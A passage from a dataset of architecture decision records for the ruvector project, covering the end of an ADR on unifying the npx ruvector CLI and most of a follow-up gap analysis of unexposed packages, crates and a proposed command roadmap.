and `@ruvector/edge-net` as optional peer deps |\n| `npm/packages/ruvector/src/commands/brain.ts` | Brain command handlers with lazy `pi-brain` import |\n| `npm/packages/ruvector/src/commands/edge.ts` | Edge command handlers with lazy `edge-net` import |\n| `npm/packages/ruvector/src/commands/mcp.ts` | MCP server start/test with transport selection |\n| `npm/packages/ruvector/src/commands/identity.ts` | Key generation, derivation, export/import |\n\n### 5.2 Lazy Loading Pattern\n\n```typescript\nasync function requirePiBrain(): Promise<typeof import('@ruvector/pi-brain')> {\n try {\n return await import('@ruvector/pi-brain');\n } catch {\n console.error(chalk.red('Brain commands require @ruvector/pi-brain'));\n console.error(chalk.yellow(' npm install @ruvector/pi-brain'));\n process.exit(1);\n }\n}\n```\n\n### 5.3 Output Formatting\n\nAll commands output JSON by default when piped (`!process.stdout.isTTY`) and human-readable tables/colors when interactive. The `--json` flag forces JSON output.\n\n```bash\n# Human-readable\nnpx ruvector brain status\n# Memories: 42 | Contributors: 7 | Quality: 0.82 | Drift: stable\n\n# Machine-readable\nnpx ruvector brain status --json\n# {\"total_memories\":42,\"total_contributors\":7,...}\n\n# Piped\nnpx ruvector brain search \"auth\" | jq '.[] | .title'\n```\n\n## 6. Security\n\n### 6.1 Key Storage\n\nThe \u03c0 key is never stored in plaintext on disk by the CLI. Options:\n- Environment variable (`PI=...`)\n- `.env` file (user's responsibility to gitignore)\n- System keychain via `keytar` (optional dependency)\n- Encrypted file via `identity export/import`\n\n### 6.2 Network Security\n\nAll CLI commands communicate over HTTPS. The brain client validates TLS certificates. No HTTP fallback.\n\n### 6.3 Dependency Isolation\n\nBrain and edge dependencies are optional peers, not bundled. This prevents supply chain attacks through transitive dependencies from affecting users who only use the core vector database.\n\n## 7. Versioning\n\nThe `ruvector` CLI version is independent of the brain and edge package versions. The CLI detects compatible version ranges at runtime:\n\n```typescript\nconst pkg = await import('@ruvector/pi-brain/package.json');\nif (!semver.satisfies(pkg.version, '>=0.1.0')) {\n console.warn(chalk.yellow(`pi-brain ${pkg.version} may not be compatible`));\n}\n```\n\n## 8. Testing\n\n| Test | Description |\n|------|-------------|\n| `brain` commands without `pi-brain` installed | Graceful error with install instructions |\n| `brain status` with mock server | Returns formatted status |\n| `brain search \"query\"` with live backend | Returns results |\n| `edge status` against genesis | Returns network stats |\n| `mcp start` stdio | Responds to JSON-RPC initialize |\n| `mcp tools` | Lists 22 tools |\n| `identity generate` | Produces valid 64-char hex key |\n| `identity show` | Derives correct SHAKE-256 pseudonym |\n| JSON output mode | All commands produce valid JSON with `--json` |\n| Pipe detection | Auto-JSON when stdout is not TTY |\n\n## 9. Migration Path\n\n### Phase 1: CLI Extension (1 week)\nAdd command groups to `bin/cli.js`. Wire `brain` commands to `@ruvector/pi-brain`. Add `identity` commands with key generation and SHAKE-256 derivation.\n\n### Phase 2: Edge Integration (1 week)\nAdd `edge` commands. Create Node.js adapter for `@ruvector/edge-net` (which targets browsers). Implement headless join for server-side compute contribution.\n\n### Phase 3: MCP Proxy (1 week)\nAdd `mcp start` with stdio and SSE transport support. Replace `cargo run -p mcp-brain` as the recommended MCP setup for non-Rust users.\n\n### Phase 4: Publish (1 week)\nBump `ruvector` to 0.2.0. Update README. Publish `@ruvector/pi-brain` and ensure version compatibility. Update landing page docs.\n\n## 10. Consequences\n\n### Positive\n- Single entry point: `npx ruvector` provides access to vector DB, shared brain, edge compute, and MCP\n- Progressive adoption: core package stays lightweight, features opt-in via peer deps\n- No Rust required: `npx ruvector mcp start` replaces `cargo run -p mcp-brain`\n- Unified identity: one \u03c0 key for all three systems\n\n### Negative\n- CLI complexity increases \u2014 more surface area to maintain\n- Optional peer deps can confuse users (unclear what's installed)\n- Node.js adapter for edge-net (browser-targeted WASM) may have compatibility gaps\n\n### Neutral\n- Version coordination between `ruvector`, `pi-brain`, and `edge-net` requires semver discipline\n- Existing `pi-brain` CLI (`npx pi-brain`) continues to work independently\n\n## 11. Related ADRs\n\n| ADR | Relationship |\n|-----|-------------|\n| ADR-065 | npm Publishing Strategy \u2014 package categories, publish order |\n| ADR-064 | Pi Brain Infrastructure \u2014 Cloud Run deployment, domains |\n| ADR-066 | SSE MCP Transport \u2014 SSE protocol that `mcp start --transport sse` exposes |\n| ADR-069 | Edge-Net Integration \u2014 distributed compute that `edge` commands access |\n| ADR-059 | Shared Brain Google Cloud \u2014 backend that `brain` commands call |\n| ADR-060 | Shared Brain Capabilities \u2014 7 capabilities exposed through `brain` subcommands |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-070-npx-ruvector-unified-integration.md", "created_at": "2026-03-28T11:58:49.705542+00:00", "content_hash": "11f0cb317a3244fb3ee60e3324e6e67779f65a2c889a67873a161b8ee73a70cd"} +{"id": "e2a76f5d-97cf-4ae6-9f85-ab90abaa8980", "source": "adr", "text": "# ADR-071: npx ruvector Ecosystem Gap Analysis\n\n**Status**: Proposed\n**Date**: 2026-02-28\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-065 (npm Publishing Strategy), ADR-070 (npx ruvector Unified Integration)\n\n## 1. Context\n\nThe ruvector project produces **79 npm packages** and **27 WASM crates** spanning vector databases, graph engines, LLM orchestration, quantum simulation, spiking neural networks, cryptographic primitives, and distributed compute. The primary CLI entry point \u2014 `npx ruvector` (v0.1.100) \u2014 exposes only a fraction of this surface: vector CRUD, GNN layers, attention mechanisms, and system diagnostics.\n\nMeanwhile, significant capabilities exist as Rust crates with no npm wrapper, as WASM crates with no JavaScript bindings published, or as npm packages that are disconnected from the CLI. This ADR catalogs every gap and proposes a roadmap to make the full ecosystem accessible through `npx ruvector`.\n\n## 2. Current State\n\n### 2.1 What `npx ruvector` Exposes Today\n\n| Command Group | Subcommands | Backend |\n|--------------|-------------|---------|\n| `create` | Create vector DB | @ruvector/core |\n| `insert` | Insert vectors from JSON | @ruvector/core |\n| `search` | ANN search with filters | @ruvector/core |\n| `stats` | Database statistics | @ruvector/core |\n| `benchmark` | Performance benchmarks | @ruvector/core |\n| `info` | System info (backends, versions) | built-in |\n| `install` | Install optional packages | built-in |\n| `doctor` | Health check | built-in |\n| `gnn layer` | Create/test GNN layers | @ruvector/gnn |\n| `gnn compress` | Adaptive tensor compression | @ruvector/gnn |\n| `gnn search` | Differentiable search | @ruvector/gnn |\n| `gnn info` | GNN module info | @ruvector/gnn |\n| `attention compute` | 5 attention mechanisms | @ruvector/attention |\n| `attention benchmark` | Benchmark attention types | @ruvector/attention |\n| `attention hyperbolic` | Hyperbolic geometry ops | @ruvector/attention |\n| `attention list` | List mechanisms | @ruvector/attention |\n| `attention info` | Module details | @ruvector/attention |\n\n**Total: 17 commands across 4 groups.**\n\n### 2.2 What Exists as npm Packages but NOT in the CLI\n\n| npm Package | Version | Capability | CLI Integration |\n|-------------|---------|-----------|----------------|\n| `@ruvector/pi-brain` | 0.1.0 | Shared brain CLI + SDK + MCP | **Missing** \u2014 has own `npx pi-brain` CLI |\n| `@ruvector/sona` | 0.1.4 | Self-optimizing neural architecture | Bundled dep but **no CLI commands** |\n| `@ruvector/rvf` | 0.2.0 | RuVector Format SDK (read/write/validate) | Optional dep but **no CLI commands** |\n| `@ruvector/rvf-solver` | 0.1.7 | Temporal constraint solver | **No CLI** |\n| `@ruvector/rvf-wasm` | 0.1.5 | RVF WASM microkernel | **No CLI** |\n| `@ruvector/rvf-node` | 0.1.7 | RVF Node.js bindings | **No CLI** |\n| `@ruvector/rvf-mcp-server` | 0.1.3 | RVF MCP server | **No CLI** |\n| `@ruvector/ruvllm` | 2.5.1 | LLM orchestration + SONA + HNSW | **Separate CLI** (`npx ruvllm`) |\n| `@ruvector/ruvllm-cli` | 0.1.0 | LLM inference CLI | **Separate binary** |\n| `@ruvector/ruvllm-wasm` | 0.1.0 | WASM LLM inference | **No CLI** |\n| `@ruvector/graph-node` | 2.0.2 | Native hypergraph bindings | **No CLI** |\n| `@ruvector/graph-wasm` | 2.0.2 | Neo4j-compatible hypergraph WASM | **No CLI** |\n| `@ruvector/graph-data-generator` | 0.1.0 | Synthetic graph data generation | **No CLI** |\n| `@ruvector/ruqu-wasm` | 2.0.5 | Quantum simulations | **No CLI** |\n| `@ruvector/spiking-neural` | 1.0.1 | Spiking neural networks (SIMD) | **No CLI** |\n| `@ruvector/ospipe` | 0.1.2 | Personal AI memory | **No CLI** |\n| `@ruvector/ospipe-wasm` | 0.1.0 | Personal AI memory WASM | **No CLI** |\n| `@ruvector/rvdna` | 0.3.0 | Genomic analysis (20-SNP biomarker) | **No CLI** |\n| `@ruvector/scipix` | 0.1.0 | OCR for scientific documents | **No CLI** |\n| `@ruvector/tiny-dancer` | 0.1.17 | Neural router (FastGRNN) | **No CLI** |\n| `@ruvector/router` | 0.1.28 | Semantic router for AI agents | **No CLI** |\n| `@ruvector/ruvbot` | 0.3.1 | Self-learning AI assistant | **Separate CLI** |\n| `@ruvector/rvlite` | 0.2.4 | Lightweight DB (SQL/SPARQL/Cypher) | **No CLI** |\n| `@ruvector/agentic-integration` | 1.0.0 | Distributed agent coordination | **No CLI** |\n| `@ruvector/agentic-synth` | 0.1.6 | Synthetic data generator | **Has own CLI** |\n| `@ruvector/burst-scaling` | 1.0.0 | Adaptive burst scaling | **No CLI** |\n| `@ruvector/cognitum-gate-wasm` | 0.1.0 | AI coherence gate | **No CLI** |\n| `@ruvector/raft` | 0.1.0 | Raft consensus | **No CLI** |\n| `@ruvector/replication` | 0.1.0 | Data replication & sync | **No CLI** |\n| `@ruvector/postgres-cli` | 0.2.7 | PostgreSQL pgvector CLI | **Separate CLI** |\n| `@ruvector/ruvector-extensions` | 0.1.0 | Embeddings, UI, exports, temporal | **No CLI** |\n| `@ruvector/ruvector-wasm-unified` | 1.0.0 | Unified TypeScript WASM API | **No CLI** |\n\n**31 packages with no CLI integration.**\n\n### 2.3 What Exists as WASM Crates but NOT as npm Packages\n\n| WASM Crate | Version | Capability | npm Package |\n|-----------|---------|-----------|-------------|\n| `ruvector-attention-unified-wasm` | 0.1.0 | Unified attention (46 mechanisms) | **Missing** |\n| `ruvector-attention-wasm` | \u2014 | Attention WASM bindings | Partial (`@ruvector/attention`) |\n| `ruvector-dag-wasm` | 0.1.0 | DAG operations | **Missing** |\n| `ruvector-delta-wasm` | 0.1.0 | Delta consensus/behavior tracking | **Missing** |\n| `ruvector-domain-expansion-wasm` | 0.1.0 | Transfer learning, domain expansion | **Missing** |\n| `ruvector-economy-wasm` | 0.1.0 | Economic engine (reputation, AMM) | **Missing** |\n| `ruvector-exotic-wasm` | \u2014 | Exotic neural architectures | **Missing** |\n| `ruvector-fpga-transformer-wasm` | 0.1.0 | FPGA-optimized transformers | **Missing** |\n| `ruvector-gnn-wasm` | \u2014 | GNN WASM bindings | Partial (`@ruvector/gnn`) |\n| `ruvector-graph-transformer-wasm` | \u2014 | Graph transformer | **Missing** |\n| `ruvector-hyperbolic-hnsw-wasm` | 0.1.0 | Hyperbolic HNSW search | **Missing** |\n| `ruvector-learning-wasm` | 0.1.0 | Online learning | **Missing** |\n| `ruvector-math-wasm` | \u2014 | Math primitives | **Missing** |\n| `ruvector-mincut-gated-transformer` | 0.1.0 | MinCut-gated transformer | **Missing** |\n| `ruvector-mincut-wasm` | \u2014 | MinCut graph partitioning | **Missing** |\n| `ruvector-nervous-system-wasm` | 0.1.0 | Nervous system architecture | **Missing** |\n| `ruvector-sparse-inference-wasm` | \u2014 | Sparse inference engine | **Missing** |\n| `ruvector-temporal-tensor-wasm` | \u2014 | Temporal tensor operations | **Missing** |\n\n**18 WASM crates with no npm package.**\n\n### 2.4 What Exists as Rust Crates Only (No WASM, No npm)\n\n| Crate | Capability | Why It Matters |\n|-------|-----------|---------------|\n| `mcp-brain` | MCP stdio server for shared brain | Core brain MCP \u2014 only accessible via `cargo run` |\n| `mcp-brain-server` | Cloud Run REST backend | Server-side only |\n| `mcp-gate` | MCP coherence gate | Core MCP \u2014 only via `cargo run` |\n| `cognitum-gate-kernel` | AI coherence gate kernel | Core reasoning engine |\n| `cognitum-gate-tilezero` | TileZero game engine | Specialized |\n| `prime-radiant` | Prime Radiant visualization | Specialized |\n| `ruvector-delta-core` | Delta behavior tracking | Core capability, no JS access |\n| `ruvector-delta-runtime` | Delta runtime | Runtime only |\n| `ruvector-delta-serde` | Delta serialization | Utility |\n| `ruvector-domain-expansion` | Transfer learning engine | Core brain capability |\n| `ruvector-mincut` | SubpolynomialMinCut partitioning | Core graph capability |\n| `ruvector-attention` | 46 attention mechanisms | Partially exposed via `@ruvector/attention` |\n| `sona` | SONA learning engine | Partially exposed via `@ruvector/sona` |\n| `rvf-federation` | Federated learning (PII strip, DP) | Core brain pipeline |\n| `rvf-crypto` | Witness chains, Ed25519, SHAKE-256 | Core security |\n| `agentic-robotics-*` (6 crates) | Autonomous robotics | Entire subsystem missing |\n| `thermorust` | Thermal/energy modeling | Specialized |\n| `ruvector-dither` | Dithering algorithms | Specialized |\n| `ruvector-profiler` | Performance profiler | Dev tool (publish=false) |\n\n**19+ crates with no JavaScript access at all.**\n\n### 2.5 Fragmented CLI Entry Points\n\nUsers currently face 7+ separate CLI binaries:\n\n| Binary | Package | Install |\n|--------|---------|---------|\n| `ruvector` | `ruvector` | `npx ruvector` |\n| `pi-brain` / `\u03c0` | `@ruvector/pi-brain` | `npx pi-brain` |\n| `ruvllm` | `@ruvector/ruvllm-cli` | `npx ruvllm` |\n| `ruvbot` | `@ruvector/ruvbot` | `npx ruvbot` |\n| `agentic-synth` | `@ruvector/agentic-synth` | `npx agentic-synth` |\n| `rvf` | `@ruvector/rvf` | `npx rvf` |\n| `postgres-cli` | `@ruvector/postgres-cli` | `npx @ruvector/postgres-cli` |\n\nEach has its own install, auth, and configuration. There is no single `npx ruvector <anything>` that reaches them all.\n\n## 3. Decision\n\nExtend `npx ruvector` to be the **universal entry point** for the entire ecosystem. Every capability \u2014 whether it's a Rust crate, WASM binding, or npm package \u2014 should be reachable through `npx ruvector <group> <command>`. Missing npm packages for WASM crates should be published. Fragmented CLIs should be consolidated.\n\n## 4. Proposed Command Hierarchy\n\n```\nnpx ruvector\n \u2502\n \u251c\u2500\u2500 [EXISTING] Vector Database\n \u2502 \u251c\u2500\u2500 create Create vector database\n \u2502 \u251c\u2500\u2500 insert Insert vectors\n \u2502 \u251c\u2500\u2500 search ANN search with filters\n \u2502 \u251c\u2500\u2500 stats Database statistics\n \u2502 \u251c\u2500\u2500 benchmark Performance benchmarks\n \u2502 \u251c\u2500\u2500 info System info\n \u2502 \u251c\u2500\u2500 install Install optional packages\n \u2502 \u2514\u2500\u2500 doctor Health check\n \u2502\n \u251c\u2500\u2500 [EXISTING] GNN\n \u2502 \u251c\u2500\u2500 gnn layer Create/test GNN layers\n \u2502 \u251c\u2500\u2500 gnn compress Adaptive tensor compression\n \u2502 \u251c\u2500\u2500 gnn search Differentiable search\n \u2502 \u2514\u2500\u2500 gnn info Module info\n \u2502\n \u251c\u2500\u2500 [EXISTING] Attention\n \u2502 \u251c\u2500\u2500 attention compute 5 attention mechanisms\n \u2502 \u251c\u2500\u2500 attention benchmark Benchmark all types\n \u2502 \u251c\u2500\u2500 attention hyperbolic Hyperbolic geometry\n \u2502 \u251c\u2500\u2500 attention list List mechanisms\n \u2502 \u2514\u2500\u2500 attention info Module details\n \u2502\n \u251c\u2500\u2500 [ADR-070] Brain (lazy: @ruvector/pi-brain)\n \u2502 \u251c\u2500\u2500 brain share Share knowledge\n \u2502 \u251c\u2500\u2500 brain search Semantic search\n \u2502 \u251c\u2500\u2500 brain get Retrieve by ID\n \u2502 \u251c\u2500\u2500 brain vote Quality vote\n \u2502 \u251c\u2500\u2500 brain list List memories\n \u2502 \u251c\u2500\u2500 brain delete Delete own\n \u2502 \u251c\u2500\u2500 brain transfer Domain transfer\n \u2502 \u251c\u2500\u2500 brain drift Drift detection\n \u2502 \u251c\u2500\u2500 brain partition Knowledge topology\n \u2502 \u251c\u2500\u2500 brain status System health\n \u2502 \u251c\u2500\u2500 brain sync LoRA weight sync\n \u2502 \u2514\u2500\u2500 brain page Brainpedia CRUD\n \u2502\n \u251c\u2500\u2500 [ADR-070] Edge (lazy: @ruvector/edge-net)\n \u2502 \u251c\u2500\u2500 edge status Network status\n \u2502 \u251c\u2500\u2500 edge join Join as compute node\n \u2502 \u251c\u2500\u2500 edge balance rUv balance\n \u2502 \u251c\u2500\u2500 edge tasks Available compute tasks\n \u2502 \u2514\u2500\u2500 edge dashboard Open dashboard\n \u2502\n \u251c\u2500\u2500 [ADR-070] MCP\n \u2502 \u251c\u2500\u2500 mcp start Start MCP server (stdio/SSE)\n \u2502 \u251c\u2500\u2500 mcp tools List available tools\n \u2502 \u2514\u2500\u2500 mcp test Test connection\n \u2502\n \u251c\u2500\u2500 [ADR-070] Identity\n \u2502 \u251c\u2500\u2500 identity generate Generate \u03c0 key\n \u2502 \u251c\u2500\u2500 identity show Display pseudonym\n \u2502 \u251c\u2500\u2500 identity export Encrypted backup\n \u2502 \u2514\u2500\u2500 identity import Restore from backup\n \u2502\n \u251c\u2500\u2500 [NEW] LLM (lazy: @ruvector/ruvllm)\n \u2502 \u251c\u2500\u2500 llm chat Interactive chat\n \u2502 \u251c\u2500\u2500 llm embed Generate embeddings\n \u2502 \u251c\u2500\u2500 llm complete Text completion\n \u2502 \u251c\u2500\u2500 llm models List available models\n \u2502 \u251c\u2500\u2500 llm benchmark Inference benchmark\n \u2502 \u2514\u2500\u2500 llm serve Start LLM server\n \u2502\n \u251c\u2500\u2500 [NEW] RVF (lazy: @ruvector/rvf)\n \u2502 \u251c\u2500\u2500 rvf read Read .rvf container\n \u2502 \u251c\u2500\u2500 rvf write Create .rvf container\n \u2502 \u251c\u2500\u2500 rvf validate Validate integrity\n \u2502 \u251c\u2500\u2500 rvf inspect Show segment layout\n \u2502 \u251c\u2500\u2500 rvf merge Merge containers\n \u2502 \u2514\u2500\u2500 rvf convert Format conversions\n \u2502\n \u251c\u2500\u2500 [NEW] Graph (lazy: @ruvector/graph-wasm)\n \u2502 \u251c\u2500\u2500 graph create Create hypergraph\n \u2502 \u251c\u2500\u2500 graph query Cypher/SPARQL query\n \u2502 \u251c\u2500\u2500 graph import Import from CSV/JSON/Neo4j\n \u2502 \u251c\u2500\u2500 graph export Export to various formats\n \u2502 \u251c\u2500\u2500 graph visualize Text-based visualization\n \u2502 \u2514\u2500\u2500 graph stats Graph statistics\n \u2502\n \u251c\u2500\u2500 [NEW] SONA (lazy: @ruvector/sona)\n \u2502 \u251c\u2500\u2500 sona train Train with trajectory\n \u2502 \u251c\u2500\u2500 sona patterns Search learned patterns\n \u2502 \u251c\u2500\u2500 sona optimize Run optimization\n \u2502 \u251c\u2500\u2500 sona export Export learned weights\n \u2502 \u2514\u2500\u2500 sona stats Learning statistics\n \u2502\n \u251c\u2500\u2500 [NEW] Router (lazy: @ruvector/router)\n \u2502 \u251c\u2500\u2500 router classify Classify input to route\n \u2502 \u251c\u2500\u2500 router train Train router on examples\n \u2502 \u251c\u2500\u2500 router serve Start router server\n \u2502 \u2514\u2500\u2500 router benchmark Route throughput test\n \u2502\n \u251c\u2500\u2500 [NEW] Quantum (lazy: @ruvector/ruqu-wasm)\n \u2502 \u251c\u2500\u2500 quantum sim Run quantum simulation\n \u2502 \u251c\u2500\u2500 quantum circuit Build quantum circuit\n \u2502 \u2514\u2500\u2500 quantum stats Simulation statistics\n \u2502\n \u251c\u2500\u2500 [NEW] SNN (lazy: @ruvector/spiking-neural)\n \u2502 \u251c\u2500\u2500 snn train Train spiking network\n \u2502 \u251c\u2500\u2500 snn inference Run inference\n \u2502 \u2514\u2500\u2500 snn benchmark SIMD performance test\n \u2502\n \u251c\u2500\u2500 [NEW] Delta (lazy: @ruvector/delta-wasm \u2014 TO PUBLISH)\n \u2502 \u251c\u2500\u2500 delta track Track behavior changes\n \u2502 \u251c\u2500\u2500 delta compare Compare two snapshots\n \u2502 \u2514\u2500\u2500 delta report Drift report\n \u2502\n \u251c\u2500\u2500 [NEW] MinCut (lazy: @ruvector/mincut-wasm \u2014 TO PUBLISH)\n \u2502 \u251c\u2500\u2500 mincut partition Partition graph\n \u2502 \u251c\u2500\u2500 mincut certificate Verify cut certificate\n \u2502 \u2514\u2500\u2500 mincut visualize Text visualization\n \u2502\n \u251c\u2500\u2500 [NEW] Synth (lazy: @ruvector/agentic-synth)\n \u2502 \u251c\u2500\u2500 synth generate Generate synthetic data\n \u2502 \u251c\u2500\u2500 synth validate Validate generated data\n \u2502 \u2514\u2500\u2500 synth config Configure generators\n \u2502\n \u251c\u2500\u2500 [NEW] DNA (lazy: @ruvector/rvdna)\n \u2502 \u251c\u2500\u2500 dna analyze Analyze genomic data\n \u2502 \u251c\u2500\u2500 dna biomarker 20-SNP biomarker panel\n \u2502 \u2514\u2500\u2500 dna report Generate report\n \u2502\n \u251c\u2500\u2500 [NEW] OCR (lazy: @ruvector/scipix)\n \u2502 \u251c\u2500\u2500 ocr extract Extract text from images\n \u2502 \u251c\u2500\u2500 ocr table Extract tables\n \u2502 \u2514\u2500\u2500 ocr equations Extract equations\n \u2502\n \u251c\u2500\u2500 [NEW] DB (lazy: @ruvector/rvlite)\n \u2502 \u251c\u2500\u2500 db query SQL/SPARQL/Cypher query\n \u2502 \u251c\u2500\u2500 db import Import data\n \u2502 \u2514\u2500\u2500 db export Export data\n \u2502\n \u2514\u2500\u2500 [NEW] Postgres (lazy: @ruvector/postgres-cli)\n \u251c\u2500\u2500 pg connect Connect to PostgreSQL\n \u251c\u2500\u2500 pg vector pgvector operations\n \u2514\u2500\u2500 pg migrate Schema migrations\n```\n\n**Total: ~100+ commands across 20+ groups** (up from 17 commands across 4 groups).\n\n## 5. npm Packages to Publish\n\n### 5.1 Priority 1 \u2014 WASM crates with brain/edge integration value\n\n| WASM Crate | Proposed npm Package | Why |\n|-----------|---------------------|-----|\n| `ruvector-delta-wasm` | `@ruvector/delta-wasm` | Brain drift detection via `npx ruvector delta` |\n| `ruvector-mincut-wasm` | `@ruvector/mincut-wasm` | Brain knowledge partitioning |\n| `ruvector-domain-expansion-wasm` | `@ruvector/domain-expansion-wasm` | Brain transfer learning |\n| `ruvector-economy-wasm` | `@ruvector/economy-wasm` | Edge-net economics (AMM, reputation) |\n| `ruvector-learning-wasm` | `@ruvector/learning-wasm` | Online learning for edge nodes |\n| `edge-net` (examples/) | `@ruvector/edge-net` | Edge-net WASM for `npx ruvector edge` |\n\n### 5.2 Priority 2 \u2014 Advanced capabilities\n\n| WASM Crate | Proposed npm Package | Why |\n|-----------|---------------------|-----|\n| `ruvector-attention-unified-wasm` | `@ruvector/attention-unified-wasm` | All 46 attention mechanisms |\n| `ruvector-hyperbolic-hnsw-wasm` | `@ruvector/hyperbolic-hnsw-wasm` | Hyperbolic space search |\n| `ruvector-nervous-system-wasm` | `@ruvector/nervous-system-wasm` | Full nervous system architecture |\n| `ruvector-fpga-transformer-wasm` | `@ruvector/fpga-transformer-wasm` | FPGA-optimized inference |\n| `ruvector-sparse-inference-wasm` | `@ruvector/sparse-inference-wasm` | Sparse model inference |\n| `ruvector-graph-transformer-wasm` | `@ruvector/graph-transformer-wasm` | Graph transformers |\n\n### 5.3 Priority 3 \u2014 Specialized\n\n| WASM Crate | Proposed npm Package | Why |\n|-----------|---------------------|-----|\n| `ruvector-dag-wasm` | `@ruvector/dag-wasm` | DAG operations |\n| `ruvector-math-wasm` | `@ruvector/math-wasm` | Math primitives |\n| `ruvector-temporal-tensor-wasm` | `@ruvector/temporal-tensor-wasm` | Temporal operations |\n| `ruvector-exotic-wasm` | `@ruvector/exotic-wasm` | Exotic neural architectures |\n| `ruvector-mincut-gated-transformer` | `@ruvector/mincut-gated-wasm` | MinCut-gated attention |\n\n## 6. Version Landscape\n\n### 6.1 Mature (v2.x \u2014 stable API)\n\n| Package | Version | Notes |\n|---------|---------|-------|\n| `@ruvector/ruvllm` | 2.5.1 | Self-learning LLM orchestration |\n| `@ruvector/graph-node` | 2.0.2 | Native hypergraph (NAPI) |\n| `@ruvector/graph-wasm` | 2.0.2 | WASM hypergraph |\n| `@ruvector/ruqu-wasm` | 2.0.5 | Quantum simulations |\n| `@ruvector/ruvllm-wasm` | 2.0.0 | WASM LLM |\n| `micro-hnsw-wasm` | 2.3.2 | HNSW core |\n\n### 6.2 Stable (v1.x \u2014 production-ready)\n\n| Package | Version | Notes |\n|---------|---------|-------|\n| `@ruvector/agentic-integration` | 1.0.0 | Agent coordination |\n| `@ruvector/burst-scaling` | 1.0.0 | Adaptive scaling |\n| `@ruvector/spiking-neural` | 1.0.1 | SNN with SIMD |\n| `@ruvector/ruvector-wasm-unified` | 1.0.0 | Unified WASM API |\n\n### 6.3 Development (v0.x \u2014 breaking changes expected)\n\n66 packages at v0.1.x-0.3.x, including the core `ruvector` CLI at v0.1.100.\n\n### 6.4 Version Recommendation\n\nThe core `ruvector` package should target **v0.2.0** for the unified CLI expansion (ADR-070 commands), and **v1.0.0** when all Priority 1 packages are published and integrated.\n\n## 7. Implementation Roadmap\n\n### Phase 1: Consolidate Existing (2 weeks)\n\n**Goal**: Bring existing npm packages into `npx ruvector` via lazy loading.\n\n| Task | Effort | Packages |\n|------|--------|----------|\n| Add `brain` commands | 3 days | @ruvector/pi-brain |\n| Add `llm` commands | 2 days | @ruvector/ruvllm |\n| Add `rvf` commands | 2 days | @ruvector/rvf |\n| Add `graph` commands | 2 days | @ruvector/graph-wasm |\n| Add `sona` commands | 1 day | @ruvector/sona |\n| Add `router` commands | 1 day | @ruvector/router |\n| Add `quantum` commands | 1 day | @ruvector/ruqu-wasm |\n| Add `snn` commands | 1 day | @ruvector/spiking-neural |\n| Add `synth` commands | 1 day | @ruvector/agentic-synth |\n| Add `db` commands | 1 day | @ruvector/rvlite |\n| Add `pg` commands | 1 day | @ruvector/postgres-cli |\n\n### Phase 2: Publish Missing WASM (3 weeks)\n\n**Goal**: Build and publish Priority 1 WASM crates to npm.\n\n| Task | Effort | Crate \u2192 Package |\n|------|--------|-----------------|\n| Build + publish delta-wasm | 2 days | ruvector-delta-wasm \u2192 @ruvector/delta-wasm |\n| Build + publish mincut-wasm | 2 days | ruvector-mincut-wasm \u2192 @ruvector/mincut-wasm |\n| Build + publish domain-expansion-wasm | 2 days | ruvector-domain-expansion-wasm \u2192 @ruvector/domain-expansion-wasm |\n| Build + publish economy-wasm | 2 days | ruvector-economy-wasm \u2192 @ruvector/economy-wasm |\n| Build + publish learning-wasm | 2 days | ruvector-learning-wasm \u2192 @ruvector/learning-wasm |\n| Build + publish edge-net WASM | 3 days | edge-net \u2192 @ruvector/edge-net |\n| Add `delta`, `mincut`, `edge` CLI groups | 3 days | CLI integration |\n| Add `identity` commands | 2 days | Pi-Key management |\n| Add `mcp` commands | 2 days | MCP server lifecycle |\n\n### Phase 3: Publish Advanced WASM (2 weeks)\n\n**Goal**: Build and publish Priority 2 WASM crates.\n\n6 WASM packages to build with `wasm-pack` and publish.\n\n### Phase 4: Polish and Release (1 week)\n\n| Task | Effort |\n|------|--------|\n| `npx ruvector help` \u2014 comprehensive help with all groups | 1 day |\n| `npx ruvector list` \u2014 list installed vs available packages | 1 day |\n| `npx ruvector upgrade` \u2014 upgrade all @ruvector packages | 1 day |\n| JSON output mode for all commands | 1 day |\n| Pipe detection (auto-JSON when not TTY) | 0.5 day |\n| Bump to v0.2.0, update README | 0.5 day |\n\n## 8. Dependency Strategy\n\n### 8.1 Bundled (always installed)\n\n```\nruvector (core)\n \u251c\u2500\u2500 @ruvector/core (HNSW vector DB)\n \u251c\u2500\u2500 @ruvector/gnn (GNN layers)\n \u251c\u2500\u2500 @ruvector/attention (attention mechanisms)\n \u251c\u2500\u2500 @ruvector/sona (SONA learning)\n \u251c\u2500\u2500 commander, chalk, ora (CLI utilities)\n \u2514\u2500\u2500 @modelcontextprotocol/sdk (MCP protocol)\n```\n\n### 8.2 Optional Peer (lazy-loaded on first use)\n\n```\n@ruvector/pi-brain \u2192 brain commands\n@ruvector/edge-net \u2192 edge commands\n@ruvector/ruvllm \u2192 llm commands\n@ruvector/rvf \u2192 rvf commands\n@ruvector/graph-wasm \u2192 graph commands\n@ruvector/ruqu-wasm \u2192 quantum commands\n@ruvector/spiking-neural \u2192 snn commands\n@ruvector/router \u2192 router commands\n@ruvector/delta-wasm \u2192 delta commands\n@ruvector/mincut-wasm \u2192 mincut commands\n@ruvector/agentic-synth \u2192 synth commands\n@ruvector/rvdna \u2192 dna commands\n@ruvector/scipix \u2192 ocr commands\n@ruvector/rvlite \u2192 db commands\n@ruvector/postgres-cli \u2192 pg commands\n```\n\n### 8.3 Lazy Loading Pattern\n\n```typescript\nasync function requirePackage(name: string): Promise<any> {\n try {\n return await import(name);\n } catch {\n console.error(chalk.red(`${name} is not installed.`));\n console.error(chalk.yellow(` npm install ${name}`));\n console.error(chalk.dim(` or: npx ruvector install ${name}`));\n process.exit(1);\n }\n}\n```\n\nEach command group registers itself but defers the `import()` until the command is actually invoked. This keeps `npx ruvector` startup fast (~200ms) regardless of how many optional packages are installed.\n\n## 9. Gap Summary\n\n### By the Numbers\n\n| Category | Available | In CLI | Gap |\n|----------|-----------|--------|-----|\n| npm packages | 79 | 4 bundled | **75 packages not in CLI** |\n| WASM crates | 27 | 2 via npm | **18 without npm packages** |\n| Rust-only crates | 19+ | 0 | **19+ with no JS access** |\n| CLI entry points | 7 separate | 1 unified | **6 fragmented CLIs** |\n| Commands | ~100 possible | 17 | **~83 missing commands** |\n\n### Critical Gaps\n\n1. **No brain access from CLI** \u2014 The shared intelligence at pi.ruv.io has no CLI path (ADR-070 proposed, not implemented)\n2. **No edge network CLI** \u2014 Edge-net compute network unreachable from Node.js CLI\n3. **No LLM commands** 